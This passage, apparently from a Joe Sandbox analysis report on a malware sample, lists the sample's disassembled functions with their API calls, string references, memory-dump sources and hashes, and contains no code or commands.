Function 00007FF6350D46A4 Relevance: 4.6, APIs: 3, Instructions: 128
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF6350EBB40: RtlCaptureContext.KERNEL32 ref: 00007FF6350EBBBE
Part of subcall function 00007FF6350EBB40: RtlUnwindEx.KERNEL32 ref: 00007FF6350EBBDC
Part of subcall function 00007FF6350EBB40: abort.MSVCRT ref: 00007FF6350EBBE2

CreateToolhelp32Snapshot.KERNEL32 ref: 00007FF6350D4735
Process32First.KERNEL32 ref: 00007FF6350D475A

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CaptureContextCreateFirstProcess32SnapshotToolhelp32Unwindabort
String ID:
API String ID: 1927501140-0
Opcode ID: 4b6a83684ab022a88defd8bcf5abd0d0cb42e06d483728e8715a84bc4aae11ba
Instruction ID: d2918de6d4231b662e17c15e4761597405e909904335294861b1bd989e441461
Opcode Fuzzy Hash: 4b6a83684ab022a88defd8bcf5abd0d0cb42e06d483728e8715a84bc4aae11ba
Instruction Fuzzy Hash: 9C41C462A08B8781EA549B15E4002BEE7E1FF86FD4F485131EE8D87789DFBDD8429700

Function 00007FF6350D1294 Relevance: 5.1, APIs: 4, Instructions: 80
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF6350D1312
strlen.MSVCRT ref: 00007FF6350D1334
malloc.MSVCRT ref: 00007FF6350D1340
memcpy.MSVCRT ref: 00007FF6350D1358

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 1e002a4472ce888f5236ed3f2cc3c06b40ab1c8836e101d0c0fd5e2ee44e4d04
Instruction ID: 4bad52106255d6bb17cca2b680e6280c49acf2145c1246fedb42c8a34c6f1f22
Opcode Fuzzy Hash: 1e002a4472ce888f5236ed3f2cc3c06b40ab1c8836e101d0c0fd5e2ee44e4d04
Instruction Fuzzy Hash: 86312626A2D78746FA149B55E4903B527E1AF41F80F488038CE0D87396DF3EAC55A740

Function 00007FF6350D1289 Relevance: 5.1, APIs: 4, Instructions: 74
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF6350D1312
strlen.MSVCRT ref: 00007FF6350D1334
malloc.MSVCRT ref: 00007FF6350D1340
memcpy.MSVCRT ref: 00007FF6350D1358

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: malloc$memcpystrlen
String ID:
API String ID: 3553820921-0
Opcode ID: 4632d91dd74ddb37801496dd33e522fc0583f3bbd608f03505957e2b7fb51fba
Instruction ID: 88e658147513c0868fac938bf46bd3e53f23d38d8c39a0c80e82017e00a2e7fb
Opcode Fuzzy Hash: 4632d91dd74ddb37801496dd33e522fc0583f3bbd608f03505957e2b7fb51fba
Instruction Fuzzy Hash: 10312526E297478AF6119B65E4803B963E0AF41F91F484138DE0C8779AEF3EAC51E704

Function 00007FF6350EB690 Relevance: 1.5, APIs: 1, Instructions: 9
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

TlsFree.KERNEL32 ref: 00007FF6350EB694

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Free
String ID:
API String ID: 3978063606-0
Opcode ID: 348af94818ab9c865733835cec085adb7e283a79ab7aac6c44221e6ed0fb0604
Instruction ID: 9bd069762164d8aef8a5935746809abe806fe8b797ee1e618a55f38cbdf35acf
Opcode Fuzzy Hash: 348af94818ab9c865733835cec085adb7e283a79ab7aac6c44221e6ed0fb0604
Instruction Fuzzy Hash: 46C04C14F6A943C1F65417725C8216111D06B45B50F905434C508C2350EE6CD9E76F11

Function 00007FF6351DAB80 Relevance: 1.3, APIs: 1, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

malloc.MSVCRT ref: 00007FF6351DAB97

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: malloc
String ID:
API String ID: 2803490479-0
Opcode ID: 0eed1fe3bed9afd8b30148879db0878f0ddd66d452a6e08d41168c4727acb542
Instruction ID: c647414600a5325a2e76bb57e449b8c8e39bffb093d768c01f45c7a69fa3da41
Opcode Fuzzy Hash: 0eed1fe3bed9afd8b30148879db0878f0ddd66d452a6e08d41168c4727acb542
Instruction Fuzzy Hash: 0DD0C921B1A30B06FD59A6A91AA13B451C14F58B01F0C0838ED5EC73C6EE5CBC41A212

Non-executed Functions

Function 00007FF6350ED367 Relevance: 14.4, APIs: 5, Strings: 3, Instructions: 431COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF6350EE0B6

Strings

P, xrefs: 00007FF6350EE454
P, xrefs: 00007FF6350EE9B3
, xrefs: 00007FF6350EDEC0

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: memset
String ID: $P$P
API String ID: 2221118986-3733749394
Opcode ID: 6c4975efa101d25bce8fb2713dfa8b24bac3f22bc36ad2dce6f035114948cbbe
Instruction ID: 356f365328efd8fe0766c17281edf82593604377aa00a6c256227401a8f9fe18
Opcode Fuzzy Hash: 6c4975efa101d25bce8fb2713dfa8b24bac3f22bc36ad2dce6f035114948cbbe
Instruction Fuzzy Hash: 6C12B133A0CA878AE760DF64E4407BEB7A1FB80B44F604139DA4997785DF7EE8459B40

Function 00007FF6350D4350 Relevance: 10.6, APIs: 2, Strings: 5, Instructions: 77stringCOMMON

Download Yara Rule

APIs

strcmp.MSVCRT ref: 00007FF6350D440C
strcmp.MSVCRT ref: 00007FF6350D445C

Strings

B, xrefs: 00007FF6350D43C6
B, xrefs: 00007FF6350D4382
B, xrefs: 00007FF6350D4415
I^2$, xrefs: 00007FF6350D437A
h}/9, xrefs: 00007FF6350D442B

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: B$B$B$I^2$$h}/9
API String ID: 1004003707-632112022
Opcode ID: e456b41c8218c5c2878edad117f7d1c39dace70967b1e9da172d671df5be1f19
Instruction ID: 3c1606ba9dd05c99440c0e99e987c8382c97453cba23cce5cab9ce1d69094eb4
Opcode Fuzzy Hash: e456b41c8218c5c2878edad117f7d1c39dace70967b1e9da172d671df5be1f19
Instruction Fuzzy Hash: 62310972A0C78686DB21CF14E4402AAFBA0EB95B84F844135EB8D47B45EFBDC945CF41

Function 00007FF6350EDA84 Relevance: 7.9, APIs: 2, Strings: 3, Instructions: 359COMMON

Download Yara Rule

Strings

, xrefs: 00007FF6350EE59E
!, xrefs: 00007FF6350EEC5B
P, xrefs: 00007FF6350EE9B3

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: $!$P
API String ID: 0-2344582389
Opcode ID: e65736c1dc54ff8f8e83bf8e017ecec5d9c8dafb1b82336238fa23b941b4cde6
Instruction ID: 5e0e4ff609770176d277243e375016f79c6b27d30afeffd59063de64e2d4f6f8
Opcode Fuzzy Hash: e65736c1dc54ff8f8e83bf8e017ecec5d9c8dafb1b82336238fa23b941b4cde6
Instruction Fuzzy Hash: 63F1C57390CB8B86E7708F50E0443BAB7A1EB80B44F24913AD75997794DF7EE845AB40

Function 00007FF6350EB460 Relevance: 3.0, APIs: 2, Instructions: 46timeCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF6350EB475
SleepConditionVariableCS.KERNEL32 ref: 00007FF6350EB4DC

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: Time$ConditionFileSleepSystemVariable
String ID:
API String ID: 866500408-0
Opcode ID: ede34bcc6e395789e61c034a815ce6f652430fda48927f6ee13d855fb0ce081d
Instruction ID: 326377ee22dbb6299c2a6c87e9201ae22a88e128eb6b6a1d03bd106bce26afba
Opcode Fuzzy Hash: ede34bcc6e395789e61c034a815ce6f652430fda48927f6ee13d855fb0ce081d
Instruction Fuzzy Hash: BC017BA3B2991682EE15CB69FD551B59351AF44FE5B089431CE0ECBB64FE3CD8928B00

Function 00007FF6351DC460 Relevance: 1.3, Strings: 1, Instructions: 94COMMON

Download Yara Rule

Strings

not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/): , xrefs: 00007FF6351DC472

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID: not enough space for format expansion (Please submit full bug report at https://gcc.gnu.org/bugs/):
API String ID: 0-1835032153
Opcode ID: 8e620f959c4aa112b31ede506d0c5fb51523c1f977658e3e8e59d1e508d8e11f
Instruction ID: 0166cb8990ba3fcba5043c9afaa576ea3dd574831c1fe50f41f3e987d38cfd12
Opcode Fuzzy Hash: 8e620f959c4aa112b31ede506d0c5fb51523c1f977658e3e8e59d1e508d8e11f
Instruction Fuzzy Hash: E331D621B1868B95EA20DB21D8502FA63A1BF55FC4F840131ED5E87BDADF2CE905E740

Function 00007FF6351DC950 Relevance: .1, Instructions: 101COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CaptureContextUnwindabortstrlen
String ID:
API String ID: 1885994862-0
Opcode ID: 0c9b34f1559c4bde3c9d00a4327f081f1601058a817002645cea0a004f1f74ca
Instruction ID: 9f37fa0ae13e0592c5c6cabe619d1f60df041b86fde8b955bf6a1bdaff4f1688
Opcode Fuzzy Hash: 0c9b34f1559c4bde3c9d00a4327f081f1601058a817002645cea0a004f1f74ca
Instruction Fuzzy Hash: 41416E60D5C6C798FB21D725A8043B62BD06F06F88F480674D84D873AEDFADEC45A391

Function 00007FF635370550 Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e78c9450fea6002c103cbfcc6b7fac9299ca9dc5fbec4c8b635fd4e3e508963a
Instruction ID: eed4243e6a6572d15abc452c8547057264c6db2d273bda90e763821aa0cef7f4
Opcode Fuzzy Hash: e78c9450fea6002c103cbfcc6b7fac9299ca9dc5fbec4c8b635fd4e3e508963a
Instruction Fuzzy Hash: 16E0E54BD2EEC7D5F29281980C2619D1FC15B53D3470C427ACA54873D7ED159D01B701

Function 00007FF6350EC1E0 Relevance: 33.1, APIs: 11, Strings: 11, Instructions: 88
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strcmp.MSVCRT ref: 00007FF6350EC1EF
strcmp.MSVCRT ref: 00007FF6350EC206
strcmp.MSVCRT ref: 00007FF6350EC21D
strcmp.MSVCRT ref: 00007FF6350EC234
strcmp.MSVCRT ref: 00007FF6350EC24B
strcmp.MSVCRT ref: 00007FF6350EC262
strcmp.MSVCRT ref: 00007FF6350EC279
strcmp.MSVCRT ref: 00007FF6350EC290
strcmp.MSVCRT ref: 00007FF6350EC2A7
strcmp.MSVCRT ref: 00007FF6350EC2BA
strcmp.MSVCRT ref: 00007FF6350EC2CD

Strings

space, xrefs: 00007FF6350EC29D
print, xrefs: 00007FF6350EC26F
alpha, xrefs: 00007FF6350EC1FC
alnum, xrefs: 00007FF6350EC1E5
graph, xrefs: 00007FF6350EC241
cntrl, xrefs: 00007FF6350EC213
lower, xrefs: 00007FF6350EC258
digit, xrefs: 00007FF6350EC22A
punct, xrefs: 00007FF6350EC286
upper, xrefs: 00007FF6350EC2B0
xdigit, xrefs: 00007FF6350EC2C3

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: strcmp
String ID: alnum$alpha$cntrl$digit$graph$lower$print$punct$space$upper$xdigit
API String ID: 1004003707-2937198513
Opcode ID: e67547db2ed2332a7f19e7dca95a45f00ddd27835b6d9e5c57363dc607d87d2e
Instruction ID: f71eb460d39ce777c2baf9b443ff1fad73d9ca7c51e0885a8473b90cc40a1de3
Opcode Fuzzy Hash: e67547db2ed2332a7f19e7dca95a45f00ddd27835b6d9e5c57363dc607d87d2e
Instruction Fuzzy Hash: 7031C294A2CB0351FA259BA9A9013751291AF44B80FA86032D90EC77D1EF6FFD44F21A

Function 00007FF6350EB8D0 Relevance: 19.4, APIs: 6, Strings: 5, Instructions: 143
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RaiseException.KERNEL32 ref: 00007FF6350EB9A5
abort.MSVCRT ref: 00007FF6350EB9AB
RtlUnwindEx.KERNEL32 ref: 00007FF6350EBAC1

Strings

CCG!, xrefs: 00007FF6350EB8F9
CCG!, xrefs: 00007FF6350EB998
CCG , xrefs: 00007FF6350EB93E
CCG", xrefs: 00007FF6350EB932
CCG , xrefs: 00007FF6350EBB26

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: ExceptionRaiseUnwindabort
String ID: CCG $CCG $CCG!$CCG!$CCG"
API String ID: 4140830120-3297834124
Opcode ID: e45fc8471f7cc306109c62edf8b254349e2b495fbaec3812b0675ed500c917f7
Instruction ID: 6e7f51565e7276fb62d208b80ff55695b1154ac25fb5302a949651b587e4cc50
Opcode Fuzzy Hash: e45fc8471f7cc306109c62edf8b254349e2b495fbaec3812b0675ed500c917f7
Instruction Fuzzy Hash: AC51D532A19F8282E7608B15E4847A97370F799B98F206236EE8D53758DF3DD9C1C700

Function 00007FF6350EFFD0 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 446COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00007FF6350F02B5

Strings

UUUU, xrefs: 00007FF6350F00FE

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: fputc
String ID: UUUU
API String ID: 1992160199-1798160573
Opcode ID: f77c88ed8e2e0546aa95018f39101ab1acda64fb455bfe48ab528bf610eb644e
Instruction ID: 482aac109ab6f377012c22f81a8edcb49d8ca1d92ae7e88f874ed7a3bf2bdd89
Opcode Fuzzy Hash: f77c88ed8e2e0546aa95018f39101ab1acda64fb455bfe48ab528bf610eb644e
Instruction Fuzzy Hash: 6212327290920386E7658F24C66077D37E1EB95F58F248235CA0A873C9DF3AEC41EB58

Function 00007FF6350EADC0 Relevance: 16.6, APIs: 11, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF6350EAE21
TlsGetValue.KERNEL32(?,?,?,00007FF6350EA375), ref: 00007FF6350EAE4A
GetLastError.KERNEL32(?,?,?,00007FF6350EA375), ref: 00007FF6350EAE4F
LeaveCriticalSection.KERNEL32 ref: 00007FF6350EAE77
free.MSVCRT ref: 00007FF6350EAEB7
DeleteCriticalSection.KERNEL32 ref: 00007FF6350EAEDD
InitializeCriticalSection.KERNEL32 ref: 00007FF6350EAF77

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645929019.00007FF6351E1000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646178874.00007FF635370000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646203261.00007FF635371000.00000008.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2646228377.00007FF635374000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff6350d0000_qflwedtkihuzyxlg.jbxd

Similarity

API ID: CriticalSection$DeleteEnterErrorInitializeLastLeaveValuefree
String ID:
API String ID: 100439675-0
Opcode ID: 30aa02ae5bca33457ef710422f6a64a41ac8ead17b866e7ea412da05448c15c7
Instruction ID: 1b53aad3b5cb08816140aeb0545ebf3b5171a372b1c77aa8c69b4053391681e4
Opcode Fuzzy Hash: 30aa02ae5bca33457ef710422f6a64a41ac8ead17b866e7ea412da05448c15c7
Instruction Fuzzy Hash: 95411F21F1DA0386FA559F51E8882B863A0AF59F95F586439CD0DD7394EF3DEC81AB00

Function 00007FF6350F0800 Relevance: 12.4, APIs: 8, Instructions: 355COMMON

Download Yara Rule

APIs

fputc.MSVCRT ref: 00007FF6350F0AB5

Memory Dump Source

Source File: 0000000B.00000002.2645793360.00007FF6350D1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00007FF6350D0000, based on PE: true

Associated: 0000000B.00000002.2645775160.00007FF6350D0000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000B.00000002.2645898250.00007FF6351DD000.00000004.00000001.01000000.0000000A.sdmpDownload File
